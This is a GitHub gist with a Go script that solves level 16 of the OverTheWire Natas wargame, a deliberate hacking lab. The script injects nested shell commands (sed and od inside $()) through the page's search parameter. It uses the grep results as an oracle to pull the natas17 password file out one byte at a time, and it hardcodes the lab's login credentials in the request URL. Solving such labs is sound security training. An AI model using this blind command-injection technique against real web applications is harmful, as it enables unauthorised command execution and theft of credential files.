Skip to content

Instantly share code, notes, and snippets.

@willnix
Last active December 15, 2015 07:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save willnix/5225036 to your computer and use it in GitHub Desktop.
Save willnix/5225036 to your computer and use it in GitHub Desktop.
Natas 16
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"strings"
"sort"
)
func main() {
dic, err := ioutil.ReadFile("dictionary.txt")
if err != nil {
log.Fatal(err)
}
dic_ln := strings.Split(string(dic), "\n")
for i := 0; i<100; i+=1 {
uri := fmt.Sprintf("^$(sed -n $(od -A n -j %d -N 1 -t d1 /etc/natas_webpass/natas17)p dictionary.txt)$",i)
res, err := http.Get(fmt.Sprintf("http://natas16:3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L@natas16.natas.labs.overthewire.org/index.php?needle=%s",url.QueryEscape(uri)))
if err != nil {
log.Fatal(err)
}
robots, err := ioutil.ReadAll(res.Body)
res.Body.Close()
if err != nil {
log.Fatal(err)
}
content := string(robots)
pre := strings.Index(content,"<pre>")
post := strings.Index(content,"</pre>")
if post > pre+7 {
needle := content[pre+6:post]
post2 := strings.Index(needle,"\n")
needle = needle[:post2]
nr := sort.SearchStrings(dic_ln,needle)+1
//sed line numbers are 1 based
nr += 1
fmt.Printf("%c",nr)
}else{
break
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment